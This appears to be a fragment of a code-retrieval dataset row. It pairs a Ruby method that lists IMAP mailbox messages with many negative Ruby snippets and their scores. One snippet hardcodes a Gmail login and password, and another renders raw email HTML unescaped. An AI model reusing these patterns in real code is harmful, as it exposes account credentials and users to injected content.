new_body.write(first_byte)\n IO.copy_stream(body, new_body)\n new_body.rewind\n\n body = new_body\n end\n\n if @server.tree.node_exists(path)\n node = @server.tree.node_for_path(path)\n\n # If the node is a collection, we'll deny it\n unless node.is_a?(IFile)\n fail Exception::Conflict, 'PUT is not allowed on non-files.'\n end\n\n etag = Box.new\n return false unless @server.update_file(path, body, etag)\n etag = etag.value\n\n response.update_header('Content-Length', '0')\n response.update_header('ETag', etag) if etag\n response.status = 204\n else\n # If we got here, the resource didn't exist yet.\n etag = Box.new\n unless @server.create_file(path, body, etag)\n # For one reason or another the file was not created.\n return false\n end\n etag = etag.value\n\n response.update_header('Content-Length', '0')\n response.update_header('ETag', etag) if etag\n response.status = 201\n end\n\n # Sending back false will interupt the event chain and tell the server\n # we've handled this method.\n false\n end", "def update\n # Not generally used\n end", "def update\n # Not generally used\n end", "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "def test_update\n #Again the delete feature from ActiveResource does not work out of the box.\n #Using custom delete function\n puts \"--create a new account--\"\n new_acct = Salesforce::Rest::Account.new(:Name => \"test numero uno\", :BillingStreet=> \"Fairway Meadows\",\n :BillingState => \"NY\", :ShippingCity => \"New York\")\n resp = new_acct.save()\n\n assert (resp.code == 201)\n j = ActiveSupport::JSON\n @sf_oid = j.decode(resp.body)[\"id\"]\n puts \"New Object created: id -> \" + @sf_oid\n\n puts \"--update that new account--\"\n serialized_json = '{\"BillingState\":\"WA\"}'\n #http = Net::HTTP.new(@rest_svr_url, 443)\n http = Net::HTTP.new('na7.salesforce.com', 443)\n http.use_ssl = true\n \n class_name = \"Account\"\n path = \"/services/data/v21.0/sobjects/#{class_name}/#{@sf_oid}\"\n headers = {\n 'Authorization' => \"OAuth \"+ @oauth_token,\n \"content-Type\" => 'application/json',\n }\n code = serialized_json\n\n \n req = Net::HTTPGenericRequest.new(\"PATCH\", true, true, path, headers)\n\n resp = http.request(req, code) { |response| }\n assert !resp.nil?\n\n puts resp.to_s\n end", "def patch; end", "def patch; end", "def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def updated_data; end", "def update\n \n end", "def update ; end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n\n end", "def update\n \n end", "def put(obj)\n end", "def test_update_successful\n data = {\n firstname: \"Anh\",\n lastname: \"Hoang\",\n avatar: \"avatar.png\",\n address: \"111D Ly Chinh Thang\",\n city: \"Ho Chi Minh\",\n email: \"anh@gmallds.sl\",\n mobile: \"0309433343545\",\n gender: 1,\n birthday: \"1991/10/10\"\n }\n\n user_id = 28\n expected = 200\n uri = URI.parse('http://localhost:3000/v1/users/'+user_id.to_s)\n\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Put.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end", "def update_current_logged_in_user(args = {}) \n id = args['id']\n temp_path = \"/users.json/current\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"userId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def update\n\n end", "def _http_put resource, path\n uri = ::URI.parse(resource.auth_uri)\n path = _path uri, path\n request = Net::HTTP::Put.new(path)\n _build_request resource, request\nend", "def _http_put resource, path\n uri = ::URI.parse(resource.auth_uri)\n path = _path uri, path\n request = Net::HTTP::Put.new(path)\n _build_request resource, request\nend", "def put?\r\nHTTP_METHOD_LOOKUP[request_method] == :put\r\nend", "def update\n end", "def update\n end", "def update\n end", "def update\n end", "def update\n end", "def update\n end", "def update\n end", "def update\n end", "def update\n end", "def update\n end", "def update\n end", "def update\n end", "def update\n end", "def update\n end", "def update\n end", "def update\n end", "def update\n end", "def update\n end", "def update\n end", "def update\n end", "def update\n end", "def update\n end", "def update\n end", "def update\n end", "def update\n end", "def update\n end", "def update\n end" ]
[ "0.6412474", "0.6412474", "0.62713706", "0.62579226", "0.620834", "0.6132645", "0.6118238", "0.61101395", "0.60888326", "0.6076461", "0.6028773", "0.6028773", "0.6028773", "0.6028773", "0.6028773", "0.6028773", "0.6028773", "0.6028773", "0.6014054", "0.6014054", "0.60130286", "0.59228927", "0.58766127", "0.58766127", "0.58610046", "0.5855959", "0.5843215", "0.5843215", "0.58417064", "0.58181465", "0.580389", "0.57629263", "0.5754142", "0.5754142", "0.5754142", "0.5754142", "0.5754142", "0.5754142", "0.5754142", "0.5754142", "0.5754142", "0.5754142", "0.5754142", "0.5754142", "0.5754142", "0.5754142", "0.5754142", "0.5754142", "0.5754142", "0.5754142", "0.5754142", "0.5754142", "0.5754142", "0.5754142", "0.5754142", "0.5754142", "0.5754142", "0.5754142", "0.5754142", "0.5754142", "0.5754142", "0.5754142", "0.5754142", "0.5754142", "0.5754142", "0.5754142", "0.5754032", "0.5743818", "0.57337445", "0.5732853", "0.5723953", "0.57036763", "0.57022035", "0.5701344", "0.5693025", "0.5693025", "0.5693025", "0.5693025", "0.5693025", "0.5693025", "0.5693025", "0.5693025", "0.5693025", "0.5693025", "0.5693025", "0.5693025", "0.5693025", "0.5693025", "0.5693025", "0.5693025", "0.5693025", "0.5693025", "0.5693025", "0.5693025", "0.5693025", "0.5693025", "0.5693025", "0.5693025", "0.5693025", "0.5693025", "0.5693025" ]
0.0
-1
desc: generalize the mail box means it will fetch all types of mails from the any folders params: id output: html, js
def messages selected_label = params[:label].blank? ? 'INBOX' : params[:label] begin unless selected_label.blank? @imap = WmailImapUtils.current_imap @imap.select(selected_label) @status = @imap.status(selected_label, ['MESSAGES', 'RECENT', 'UNSEEN']) max = @status['MESSAGES'] min = @status['MESSAGES']-10 @max = 10 @min = 1 @mailbox = selected_label @inbox = [] min = 1 if (max <= 10 and max > 0) @inbox = @imap.fetch(min..max, 'ENVELOPE') @unseen_flags = @imap.search(['NOT','SEEN']) @imap.expunge end session[:selected_label] = selected_label respond_to do|format| format.html format.js end rescue respond_to do|format| format.html {redirect_to authenticate_wmail_accounts_path(:redirect => messages_mailbox_path(:label => selected_label)), :alert => 'Connection Lost. Please login to your account'} format.js end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def view_html\n\n $anterior = params[:id].to_i - 1\n $siguiente = params[:id].to_i - 1\n\n $buscar_texto = nil\n $buscar_por = nil\n\n ENV['folder'] = 'mailbox'\n load 'script/mailman_server.rb'\n\n adjuntos = ''\n\n @@messages.each do |message|\n @from = message[:from]\n @to = message[:to]\n @cc = message[:cc]\n @bcc = message[:bcc]\n @subject = message[:subject]\n @date = message[:date]\n @text = message[:text_body]\n @html = message[:html_body]\n end\n\n cc_list = @cc.length > 0 ? 'Cc: <span style=\"word-wrap: break-word;\">' + @cc + '</span><br>' : ''\n bcc_list = @bcc.length > 0 ? 'Cco: <span style=\"word-wrap: break-word;\">' + @bcc + '</span><br>' : ''\n\n @@the_message_attachments.each do |att|\n adjuntos += '<li> <a style=\"color:#666; text-decoration:none;\" href='+att.attached_file.url(:original, false)+' target=\"_blank\">'+att.attached_file_file_name+'</a> </li>'\n end\n\n adjuntos_list = (adjuntos.length > 0) ? 'Adjuntos: <ul>' + adjuntos + '</ul>' : ''\n\n # render file: 'messages/view_html'\n\n respond_to do |format|\n format.html {\n render text: '<div class=\"container-fluid\"> ' +\n '<br>' +\n 'De: ' + @from +\n '<br>' +\n 'A: <span style=\"word-wrap: break-word;\">' + @to + '</span>' +\n '<br>' +\n cc_list +\n bcc_list +\n adjuntos_list +\n '<hr class=\"col-lg-12\">' +\n '</div>' + @html, :layout => false\n }\n # format.html {\n # render text: '<div class=\"container-fluid\">' +\n # '<div class=\"col-md-12\" style=\"background-color: #ced8e1\">' +\n # '<h4>' + @subject + '</h4>' +\n # '<hr style=\"margin-top: 0px; border-top: 1px solid #235589\">' +\n # '<strong>' + @from + '</strong>' +\n # '<br>' +\n # '<div style=\"max-width: 90%; float: left\">' +\n # '<small>Para ' + @to[0..50] + '</small>' +\n # '</div>' +\n # '<div style=\"margin-left: 5px; max-width: 1%; float: left\">' +\n # '<div class=\"dropdown\">' +\n # '<button class=\"btn btn-default btn-xs\" type=\"button\" data-toggle=\"dropdown\" aria-haspopup=\"true\">' +\n # '<span class=\"caret\"></span>' +\n # '</button>' +\n # '<div class=\"dropdown-menu\"\n # style=\"word-wrap: break-word;\n # width: 500px;\n # padding: 20px;\n # height: 300px;\n # overflow: auto\">' +\n # '<table>\n # <tr>\n # <td valign=\"top\">De:</td>\n # <th>' + @from + '</th>\n # </tr>\n # <tr>\n # <td valign=\"top\">Para:</td>\n # <td>' + @to + '</td>\n # </tr>\n # <tr>\n # <td valign=\"top\">Fecha:</td>\n # <td>' + @date + '</td>\n # </tr>\n # <tr>\n # <td valign=\"top\">Asunto:</td>\n # <td>' + @subject + '</td>\n # </tr>\n # </table>\n # </div>\n # </div>\n # </div>\n # </div>\n # </div>'\n # }\n format.json {\n render json: {\n message: @html\n }\n }\n end\n\n end", "def read_emails(folder,keyword,atrans,acftrans)\r\n view = framework.threads.spawn(\"ButtonClicker\", false) {\r\n click_button(atrans,acftrans)\r\n }\r\n command = \"Get-Emails \\\"#{keyword}\\\" \\\"#{folder}\\\"\"\r\n execute_outlook_script(command)\r\n end", "def show\n @seqno = params[:id].to_i\n @total = params[:total].to_i\n\n begin\n @imap = WmailImapUtils.current_imap\n message = @imap.fetch(@seqno, ['RFC822']).first.attr['RFC822']\n @mail = Mail.new(message)\n # get the folder list\n mailbox_list\n rescue\n respond_to do|format|\n format.html {redirect_to authenticate_wmail_accounts_path(:redirect => messages_mailbox_path(:label => selected_label)),\n :alert => 'Connection Lost. Please login to your account'}\n format.js\n end\n end\n end", "def mail_box; end", "def mail\n mail = MailTasks::Mail.query_by_id( params[:id] )\n render :text => mail.content_with_layout( mail_layout_options ), :layout => false\n end", "def list_boxes\r\n command = 'List-Folder'\r\n execute_outlook_script(command)\r\n end", "def get_mail_content\n Log.add_info(request, params.inspect)\n\n email_id = params[:id]\n\n begin\n @email = Email.find(email_id)\n render(:partial => 'ajax_mail_content', :layout => false)\n rescue => evar\n Log.add_error(nil, evar)\n render(:text => '')\n end\n end", "def maillist\n @report_id = params[:id]\n @project_format = params[:project_format]\n if params[:waiting_for] == 'sent'\n @q = current_user.organization.statusreports.search(params[:q])\n @statusreports = @q.result(:distinct => true).find(:all,:conditions => ['sent_by IS ?',nil])\n else\n @q = current_user.organization.statusreports.search(params[:q])\n @statusreports = @q.result(:distinct => true).find(:all,:order => 'updated_at DESC')\n end\n render :partial => \"maillist\", :layout => false\n end", "def show_summary\n Log.add_info(request, params.inspect)\n\n mail_account_id = params[:id]\n\n begin\n @mail_account = MailAccount.find(mail_account_id)\n rescue => evar\n Log.add_error(request, evar)\n redirect_to(:controller => 'login', :action => 'logout')\n return\n end\n\n @folder_tree = MailFolder.get_tree_for(@login_user, [mail_account_id])\n mail_folders = @folder_tree.values.flatten.uniq\n mail_folder_ids = mail_folders.collect{|rec| rec.id}\n @unread_emails_h = {}\n unless mail_folder_ids.nil? or mail_folder_ids.empty?\n unread_emails = Email.find(:all, :conditions => \"user_id=#{@login_user.id} and status='#{Email::STATUS_UNREAD}' and mail_folder_id in (#{mail_folder_ids.join(',')})\")\n unread_emails.each do |email|\n mail_folder = mail_folders.find{|rec| rec.id == email.mail_folder_id}\n unless mail_folder.nil?\n @unread_emails_h[mail_folder] ||= 0\n @unread_emails_h[mail_folder] += 1\n end\n end\n end\n @folder_obj_cache ||= MailFolder.build_cache(mail_folders)\n\n render(:layout => (!request.xhr?))\n end", "def show_summary\n Log.add_info(request, params.inspect)\n\n mail_account_id = params[:id]\n SqlHelper.validate_token([mail_account_id])\n\n begin\n @mail_account = MailAccount.find(mail_account_id)\n rescue => evar\n Log.add_error(request, evar)\n redirect_to(:controller => 'login', :action => 'logout')\n return\n end\n\n @folder_tree = MailFolder.get_tree_for(@login_user, [mail_account_id])\n# logger.fatal('@@@ ' + sorted_mail_folders.flatten.collect{|rec| rec.name}.inspect)\n mail_folders = TreeElement.get_flattened_nodes(@folder_tree)\n mail_folder_ids = mail_folders.collect{|rec| rec.id.to_s}\n\n @unread_emails_h = {}\n unless mail_folder_ids.nil? or mail_folder_ids.empty?\n unread_emails = Email.where(\"user_id=#{@login_user.id} and status='#{Email::STATUS_UNREAD}' and mail_folder_id in (#{mail_folder_ids.join(',')})\").to_a\n unread_emails.each do |email|\n mail_folder = mail_folders.find{|rec| rec.id == email.mail_folder_id}\n unless mail_folder.nil?\n @unread_emails_h[mail_folder] ||= 0\n @unread_emails_h[mail_folder] += 1\n end\n end\n end\n @unread_emails_h = @unread_emails_h.sort_by{|mail_folder, count| mail_folders.index(mail_folder) }\n\n @draft_emails_h = {}\n unless mail_folder_ids.nil? or mail_folder_ids.empty?\n draft_emails = Email.where(\"user_id=#{@login_user.id} and status='#{Email::STATUS_DRAFT}' and mail_folder_id in (#{mail_folder_ids.join(',')})\").to_a\n draft_emails.each do |email|\n mail_folder = mail_folders.find{|rec| rec.id == email.mail_folder_id}\n unless mail_folder.nil?\n @draft_emails_h[mail_folder] ||= 0\n @draft_emails_h[mail_folder] += 1\n end\n end\n end\n @draft_emails_h = @draft_emails_h.sort_by{|mail_folder, count| mail_folders.index(mail_folder) }\n\n @folder_obj_cache ||= MailFolder.build_cache(mail_folders)\n\n render(:layout => (!request.xhr?))\n end", "def mails\n\n begin\n @imap = WmailImapUtils.current_imap\n \n if not @imap.blank?\n @mailbox = params['mailbox']\n @min = params['min'].to_i\n @max = params['max'].to_i\n @total = params['total'].to_i\n\n @imap.select(@mailbox)\n @mails = @imap.fetch(@total-@max..@total-@min, 'ENVELOPE')\n @unseen_flags = @imap.search(['NOT','SEEN'])\n end\n rescue\n redirect_to authenticate_wmail_accounts_path(:redirect => messages_mailbox_path(:label => selected_label)),\n :alert => 'Connection Lost. Please login to your account'\n end\n end", "def search(from,after)\n @mailboxes.each do |mailbox|\n begin\n emails = mailbox.find :from => from,:after => after\n\n emails.reverse.in_groups_of(10,false).each do |group| \n uids = group.map(&:uid)\n fetch_data = @gmail.conn.uid_fetch uids,@imap_key_body\n \n mails = fetch_data.map do |fetch_datum| \n Mail.new CGI.unescapeHTML(fetch_datum.attr[@imap_key_body])\n end \n\n yield mails.reverse if block_given?\n end\n rescue Net::IMAP::NoResponseError \n end\n end #mailboxes\n end", "def all\n get(\"#{domain}/mailboxes\")\n end", "def mailbox_list\n begin\n @imap = WmailImapUtils.current_imap\n folder_list = WmailImapUtils.get_mailbox_list\n @folders_count_hash = Hash[ folder_list.map do |a|\n [a.name, @imap.status(a.name, [\"UNSEEN\"])[\"UNSEEN\"]] unless a.name == \"[Gmail]\"\n end ]\n rescue\n respond_to do|format|\n format.html {redirect_to authenticate_wmail_accounts_path(:redirect => params),\n :alert => 'Connection Lost. Please login to your account'}\n format.js {render :js => \"window.location = '\" + authenticate_wmail_accounts_path(:redirect => params) + \"';\"}\n end\n end\n end", "def show_tree\n if params[:action] == 'show_tree'\n Log.add_info(request, params.inspect)\n end\n\n con = []\n con << \"(user_id=#{@login_user.id})\"\n\n account_xtype = params[:mail_account_xtype]\n SqlHelper.validate_token([account_xtype])\n\n unless account_xtype.blank?\n con << \"(xtype='#{account_xtype}')\"\n end\n @mail_accounts = MailAccount.find_all(con.join(' and '))\n\n mail_account_ids = []\n @mail_accounts.each do |mail_account|\n\n mail_account_ids << mail_account.id\n\n if MailFolder.where(\"mail_account_id=#{mail_account.id}\").count <= 0\n @login_user.create_default_mail_folders(mail_account.id)\n end\n\n Email.destroy_by_user(@login_user.id, \"status='#{Email::STATUS_TEMPORARY}'\")\n end\n\n @folder_tree = MailFolder.get_tree_for(@login_user, mail_account_ids)\n end", "def show\n email = Gmailer.gmail.inbox.find(:all).find {|e| e.msg_id == @message.message_id.to_i } #convert due to wrong type\n @attachments = email ? email.message.attachments : []\n end", "def get_mailboxes\n get(\"mailboxes\")\n end", "def demoOutlookFolders(t)\n init_pics('outlook-*')\n\n height = t.font.metrics(:linespace) + 2\n height = 18 if height < 18\n\n t.configure(:itemheight=>height, :selectmode=>:browse, :showlines=>true,\n :showroot=>true, :showrootbutton=>false, :showbuttons=>true)\n\n if $HasColumnCreate\n t.column_create(:text=>'Folders')\n else\n t.column_configure(0, :text=>'Folders')\n end\n\n t.element_create('e1', :image)\n t.element_create('e2', :text, :lines=>1,\n :fill=>[@SystemHighlightText, ['selected', 'focus']])\n t.element_create('e3', :text, :lines=>1, :font=>t.font.dup.weight(:bold),\n :fill=>[@SystemHighlightText, ['selected', 'focus']])\n t.element_create('e4', :text, :fill=>'blue')\n t.element_create('e5', :image, :image=>@images['outlook-folder'])\n t.element_create('e6', :rect, :showfocus=>true,\n :fill=>[\n @SystemHighlight, ['selected', 'focus'],\n 'gray', ['selected', '!focus']\n ])\n\n # image + text\n s = t.style_create('s1')\n t.style_elements(s, ['e6', 'e1', 'e2'])\n t.style_layout(s, 'e1', :expand=>:ns)\n t.style_layout(s, 'e2', :padx=>[4,0], :expand=>:ns, :squeeze=>:x)\n t.style_layout(s, 'e6', :union=>['e2'], :iexpand=>:ns, :ipadx=>2)\n\n # image + text + text\n s = t.style_create('s2')\n t.style_elements(s, ['e6', 'e1', 'e3', 'e4'])\n t.style_layout(s, 'e1', :expand=>:ns)\n t.style_layout(s, 'e3', :padx=>4, :expand=>:ns, :squeeze=>:x)\n t.style_layout(s, 'e4', :expand=>:ns)\n t.style_layout(s, 'e6', :union=>['e3'], :iexpand=>:ns, :ipadx=>2)\n\n # folder + text\n s = t.style_create('s3')\n t.style_elements(s, ['e6', 'e5', 'e2'])\n t.style_layout(s, 'e5', :expand=>:ns)\n t.style_layout(s, 'e2', :padx=>[4,0], :expand=>:ns, :squeeze=>:x)\n t.style_layout(s, 'e6', :union=>['e2'], :iexpand=>:ns, :ipadx=>2)\n\n # folder + text + text\n s = t.style_create('s4')\n t.style_elements(s, ['e6', 'e5', 'e3', 'e4'])\n t.style_layout(s, 'e5', :expand=>:ns)\n t.style_layout(s, 'e3', :padx=>4, :expand=>:ns, :squeeze=>:x)\n t.style_layout(s, 'e4', :expand=>:ns)\n t.style_layout(s, 'e6', :union=>['e3'], :iexpand=>:ns, :ipadx=>2)\n\n t.item_style_set(:root, 0, 's1')\n t.item_complex(:root,\n [\n ['e1', {:image=>@images['outlook-main']}],\n ['e2', {:text=>'Outlook Express'}]\n ])\n\n parentList = [:root, '', '', '', '', '', '']\n parent = :root\n [\n [0, :local, \"Local Folders\", true, 0],\n [1, :inbox, 'Inbox', false, 5],\n [1, :outbox, 'Outbox', false, 0],\n [1, :sent, \"Sent Items\", false, 0],\n [1, :deleted, \"Deleted Items\", false, 50],\n [1, :draft, 'Drafts', false, 0],\n [1, :folder, \"Messages to Dad\", false, 0],\n [1, :folder, \"Messages to Sis\", false, 0],\n [1, :folder, \"Messages to Me\", false, 0],\n [2, :folder, \"2001\", false, 0],\n [2, :folder, \"2000\", false, 0],\n [2, :folder, \"1999\", false, 0],\n [0, :server, \"news.gmane.org\", true, 0],\n [1, :group, \"gmane.comp.lang.lua.general\", false, 498]\n ].each{|depth, img, text, button, unread|\n if $Version_1_1_OrLater\n item = t.item_create(:button=>button)\n else\n item = t.item_create\n t.item_hasbutton(item, button)\n end\n if img == :folder\n if unread != 0\n t.item_style_set(item, 0, 's4')\n t.item_complex(item,\n [['e3', {:text=>text}], ['e4', {:text=>\"(#{unread})\"}]])\n else\n t.item_style_set(item, 0, 's3')\n t.item_complex(item, [['e2', {:text=>text}]])\n end\n else\n if unread != 0\n t.item_style_set(item, 0, 's2')\n t.item_complex(item,\n [\n ['e1', {:image=>@images[\"outlook-#{img}\"]}],\n ['e3', {:text=>text}],\n ['e4', {:text=>\"(#{unread})\"}]\n ])\n else\n t.item_style_set(item, 0, 's1')\n t.item_complex(item,\n [\n ['e1', {:image=>@images[\"outlook-#{img}\"]}],\n ['e2', {:text=>text}]\n ])\n end\n end\n t.item_lastchild(parentList[depth], item)\n depth += 1\n parentList[depth] = item\n }\nend", "def inbox\n folders.find_by_name(\"Inbox\")\n end", "def inbox\n folders.find_by_name(\"Inbox\")\n end", "def mailboxes_list\n get \"mailboxes\"\n end", "def fetch_messages(gmail, label, criteria, save_attachments)\n mails = []\n gmail.mailbox(label).search(criteria).each do |email|\n subject = \"#{Mail::Encodings.value_decode(email.subject)}\"\n puts \"----------\"\n puts \"[#{email.uid}] #{subject}\"\n from = sender(email.from)\n to = recipients(email.to)\n attachments = attachments(email)\n body = extract_body(email)\n\n # TODO: saving attachments should be configurable\n if save_attachments && email.message.attachments.any?\n puts \"Attachments:\"\n email.message.attachments.each do |attachment|\n save_attachment(email, attachment)\n end\n end\n\n mails << { :uid => email.uid,\n :date => Time.parse(email.date),\n :subject => subject,\n :from => from,\n :to => to,\n :body => body,\n :attachments => attachments }\n end\n mails\n end", "def body\n render text: fetch_email(params[:id]).body, content_type: 'text/html'\n end", "def get_mails\n gmail = Gmail.connect @current_user.login, @current_user.password\n return nil unless gmail.logged_in?\n\n mails = gmail.inbox.find :unread, after: @filter_date + 1\n sent_mails = gmail.label(\"[Gmail]/Sent Mail\").find(afetr: @filter_date + 1)\n sent_mails.each { |e| mails << e }\n mails.sort_by!(&:date)\n\n end", "def mail; get_data_in_file :mail end", "def index\n @q = MsgMail.active.ransack(params[:q])\n @mails = @q.result.includes(:mail_type).page(params[:page]).per(15)\n end", "def maillist\n @cntcts = current_user.organization.contacts\n @tmrec = Array.new\n params[:ids].split(\",\").map do |id|\n @tmrec << TimeRecord.find_by_id(id)\n end\n @tmrec_array = params[:ids]\n render :partial => \"maillist\", :layout => false\n end", "def watchMail(imap, folder)\n \n # Loop for checking message increase in the folder\n begin\n \n imap.select(folder)\n \n # Get the current folder size\n fsize = imap.status(folder, [\"MESSAGES\"])\n csize = fsize[\"MESSAGES\"]\n \n loop do\n fsize = imap.status(folder, [\"MESSAGES\"])\n if fsize[\"MESSAGES\"] > csize\n message_ids = imap.uid_search(\"ALL\")\n uid = message_ids.last\n email = imap.uid_fetch(uid, \"ENVELOPE\")[0].attr[\"ENVELOPE\"]\n pp \"[#{email.from[0].name}] #{email.subject}\"\n csize = fsize[\"MESSAGES\"]\n else\n sleep(10)\n end\n end\n rescue => e\n exit(1)\n end\nend", "def get_mail_attachments\n Log.add_info(request, params.inspect)\n\n email_id = params[:id]\n\n email = Email.find(email_id)\n if email.nil? or email.user_id != @login_user.id\n render(:text => '')\n return\n end\n\n download_name = \"mail_attachments#{email.id}.zip\"\n zip_file = email.zip_attachments(params[:enc])\n\n if zip_file.nil?\n send_data('', :type => 'application/octet-stream;', :disposition => 'attachment;filename=\"'+download_name+'\"')\n else\n filepath = zip_file.path\n send_file(filepath, :filename => download_name, :stream => true, :disposition => 'attachment')\n end\n end", "def compose_mail\n\trender :layout=>\"gallery\"\n\tend", "def fetch_mail\n# \tp \"Fetching mail...\"\n \tconfig = { :host => 'imap.gmail.com', :port => 993, :username => 'CrowdAssistant', :password => 'CrowdAss'}\n \timap = Net::IMAP.new(config[:host], config[:port], true)\n \timap.login(config[:username], config[:password])\n \timap.select(\"INBOX\")\n \tmessages_to_archive = []\n \timap.search([\"NOT\", \"DELETED\"]).each do |message_id|\n \t\ttask = imap.fetch(message_id, 'BODY[TEXT]')[0].attr['BODY[TEXT]']\n \t\tmessage = imap.fetch(message_id, 'ENVELOPE')[0].attr['ENVELOPE']\n \t\tfrom = \"#{message.sender[0].mailbox}@#{message.sender[0].host}\"\n# p from\n \t\tu = User.find_by_email(from)\n# p u\n \t\tif u\n\t \t\t#Why does an empty resource and resourcetype fail?\n task = task.gsub(\"=\\r\\n\", \"\")\n\t \t\tt = Task.create(:user_id => u.id, :instructions => task, :fields => \"[{\\\"Reply\\\":\\\"t\\\"}]\", :priority => 2, :workflow => \"p\", :redundancy => 2, :resource => \"www.google.com\", :resourcetype => \"l\", :status=>\"Not Started\")\n\t \t\tAssistant.handle(t)\n\t \telse\n#\t \t\tp \"Whoops, some dude who hasn't signed up sent us an email\"\n\t \tend\n \t\tmessages_to_archive << message_id\n \tend\n \timap.store(messages_to_archive, \"+FLAGS\", [:Deleted]) unless messages_to_archive.empty?\n end", "def each_message(uids, type) # :yields: TMail::Mail\n parts = mime_parts uids, type\n\n uids = []\n\n each_part parts, true do |uid, message|\n mail = TMail::Mail.parse message\n\n begin\n success = yield uid, mail\n\n uids << uid if success\n rescue => e\n log e.message\n puts \"\\t#{e.backtrace.join \"\\n\\t\"}\" unless $DEBUG # backtrace at bottom\n log \"Subject: #{mail.subject}\"\n log \"Message-Id: #{mail.message_id}\"\n p mail.body if verbose?\n\n raise if $DEBUG\n end\n end\n\n uids\n end", "def get_mail\n \n end", "def get_mail(get_url)\n page = open(get_url).read\n nokogiri_object = Nokogiri::HTML(page)\n mail_depute = nokogiri_object.xpath(\"//*[@id='b1']/ul[2]/li[1]/ul/li[1]/a\")\n return mail_depute.text\nend", "def get_mails\n if params[:action] == 'get_mails'\n Log.add_info(request, params.inspect)\n end\n\n if !params[:pop].nil? and params[:pop] == 'true'\n\n mail_account_id = params[:mail_account_id]\n SqlHelper.validate_token([mail_account_id])\n\n begin\n new_arrivals_h = {}\n\n if mail_account_id.blank?\n mail_accounts = MailAccount.find_all(\"user_id=#{@login_user.id}\")\n mail_accounts.each do |mail_account|\n emails = Email.do_pop(mail_account)\n unless emails.empty?\n new_arrivals_h[mail_account.id] ||= []\n new_arrivals_h[mail_account.id] |= emails\n end\n end\n else\n mail_account = MailAccount.find(mail_account_id)\n emails = Email.do_pop(mail_account)\n unless emails.empty?\n new_arrivals_h[mail_account.id] ||= []\n new_arrivals_h[mail_account.id] |= emails\n end\n end\n\n unless new_arrivals_h.empty?\n flash[:notice] = t('mail.received', :count => new_arrivals_h.values.flatten.length)\n\n # FEATURE_MAIL_FILTERS >>>\n new_arrivals_h.each do |mail_account_id, emails|\n mail_filters = MailFilter.get_for(mail_account_id, true, MailFilter::TRIGGER_CHECKING)\n filter_next = true\n\n emails.each do |email|\n mail_filters.each do |filter|\n filter_next = filter.execute(email)\n break unless filter_next\n end\n break unless filter_next\n end\n end\n # FEATURE_MAIL_FILTERS <<<\n end\n rescue => evar\n if evar.to_s.starts_with?('ERROR:')\n flash[:notice] = evar.to_s\n else\n flash[:notice] = 'ERROR:' + t('mail.receive_error') + '<br/>' + evar.to_s\n end\n Log.add_error(nil, evar)\n end\n end\n\n @folder_id = params[:id]\n SqlHelper.validate_token([@folder_id])\n\n if @folder_id == TreeElement::ROOT_ID.to_s\n @emails = nil\n else\n=begin\n# @emails = MailFolder.get_mails_to_show(@folder_id, @login_user)\n=end\n# FEATURE_PAGING_IN_TREE >>>\n @sort_col = (params[:sort_col] || 'sent_at')\n @sort_type = (params[:sort_type] || 'DESC')\n SqlHelper.validate_token([@sort_col, @sort_type], ['.'])\n\n sql = EmailsHelper.get_list_sql(@login_user, params[:keyword], [@folder_id], @sort_col, @sort_type, 0, nil)\n @email_pages, @emails, @total_num = paginate_by_sql(Email, sql, 10)\n# FEATURE_PAGING_IN_TREE <<<\n end\n\n session[:mailfolder_id] = @folder_id\n\n render(:partial => 'ajax_folder_mails', :layout => false)\n end", "def index\n @type = params[:type]\n @per_page = 7\n if !params[:page].blank?\n @page = params[:page]\n else\n @page = 1\n end\n @sent_count = Message.where('sender_id = ? AND status != 2', current_user.id).count\n @inbox_count = Messaging.where(\"recipient_id = ? AND status = 0\", current_user.id).count\n case @type\n when 'sent'\n @messages = Message.where('sender_id = ? AND status != 2', current_user.id).order('created_at DESC').paginate(:page => @page, :per_page => @per_page)\n else\n @messages = Message.joins(:messagings).where(\"messagings.recipient_id = ? AND messages.status != 2\", current_user.id).order('created_at DESC').paginate(:page => @page, :per_page => @per_page)\n end\n @grouped = @messages.to_a.group_by { |t| t.parent }\n end", "def display_mail_queue(what)\n emails = case what\n when 'all' then\n puts 'Showing all emails in the system'\n ArMailerRevised.email_class.all\n when 'deliverable' then\n puts 'Showing emails ready to deliver'\n ArMailerRevised.email_class.ready_to_deliver\n when 'delayed' then\n puts 'Showing delayed emails'\n ArMailerRevised.email_class.delayed\n else\n []\n end\n puts 'Mail queue is empty' and return if emails.empty?\n puts Hirb::Helpers::AutoTable.render emails, :fields => [:from, :to, :delivery_time, :last_send_attempt, :updated_at]\n end", "def index\n all_mail_users =\n case @type\n when 'applicable'\n @recipient_list.applicable_mail_users\n when 'included'\n @recipient_list.included_mail_users\n when 'excluded'\n @recipient_list.excluded_mail_users\n end&.order(:name)\n\n @mail_users =\n if params[:page] == 'all'\n all_mail_users&.page(nil)&.per(all_mail_users&.count)\n else\n all_mail_users&.page(params[:page])\n end\n\n flash.alert = '指定のリストはありません。' if @mail_users.nil?\n end", "def read_messages_via_imap\n\timap = 